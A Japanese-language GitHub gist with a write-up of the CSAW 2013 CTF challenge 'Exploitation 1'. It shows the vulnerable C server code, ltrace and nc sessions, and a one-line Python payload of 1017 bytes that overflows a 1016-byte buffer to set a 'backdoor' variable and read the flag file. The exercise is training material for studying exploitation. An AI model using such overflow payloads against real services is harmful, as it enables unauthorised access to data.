Skip to content

Instantly share code, notes, and snippets.

@famasoon
Created December 17, 2016 08:53
Show Gist options
  • Save famasoon/99113efef56c93134b34c4484210d1b2 to your computer and use it in GitHub Desktop.
Save famasoon/99113efef56c93134b34c4484210d1b2 to your computer and use it in GitHub Desktop.

Exploitation 1 - CSAW 2013 Qualification Round

問題

問題ファイルはここにある。 2つファイルが用意されている。 見た感じバイナリと、それのソースコードの一部。

    $ file exploit1
    exploit1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c7646dc29ce50cfdf6d7acaf5e8ebfc88401b7e1, not stripped
    $ cat exploit1.c 
    [snip]

    void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
    }

    [snip]

とりあえず動かしてみるが何も表示されないのでltraceで動きを追いながら動かしてみる。

    $ ltrace ./exploit1 
    __libc_start_main(0x80488ee, 1, 0xffabe1d4, 0x8048be0 <unfinished ...>
    getaddrinfo("0.0.0.0", "31337", 0xffabe078, 0xffabe074) = 0
    socket(2, 1, 6)                              = 3
    setsockopt(3, 1, 2, 0xffabe070)              = 0
    bind(3, 0x82ed028, 16, 0xffabe070)           = 0
    listen(3, 100, 16, 0xffabe070)               = 0
    freeaddrinfo(0x82ed008)                      = <void>
    sigemptyset(<>)                              = 0
    sigaction(SIGCHLD, { 0x80487d4, <>, 0, 0 }, nil) = 0
    accept(3, 0xffabe060, 0xffabe05c, 0xffabe070

31337ポートでリッスンしているようなのでncで繋ぐ。

    $ nc localhost 31337
    Welcome to CSAW CTF.

適当なキーを押すと終了してしまう。 今度はバイナリのコードを読んでみる。

$ objdump -M intel -d ./exploit1 | less

main関数を読むと『handle』という関数を読んでいることがわかる。 この関数は問題のバイナリと共に配布されたソースコードに書かれている関数だ。 さて、このコードでは1016バイト分のbufferに1020バイトコピーできる。 1016バイト以上のデータを送りつけるとbufferがオーバーフローし、bufferの前に宣言されているbackdoorを書き換えられる。 backdoor変数の値が書き換えることに成功すればフラグである『key』というファイルを読むことができる。 というわけでkeyというファイルを用意し1016バイト以上のデータを送りつけてみる。

    $ echo THIS_IS_FLAG > key
    $ python -c 'print "A"*1017' | nc localhost 31337
    Welcome to CSAW CTF.THIS_IS_FLAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

フラグを読むことができた。 終わり

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment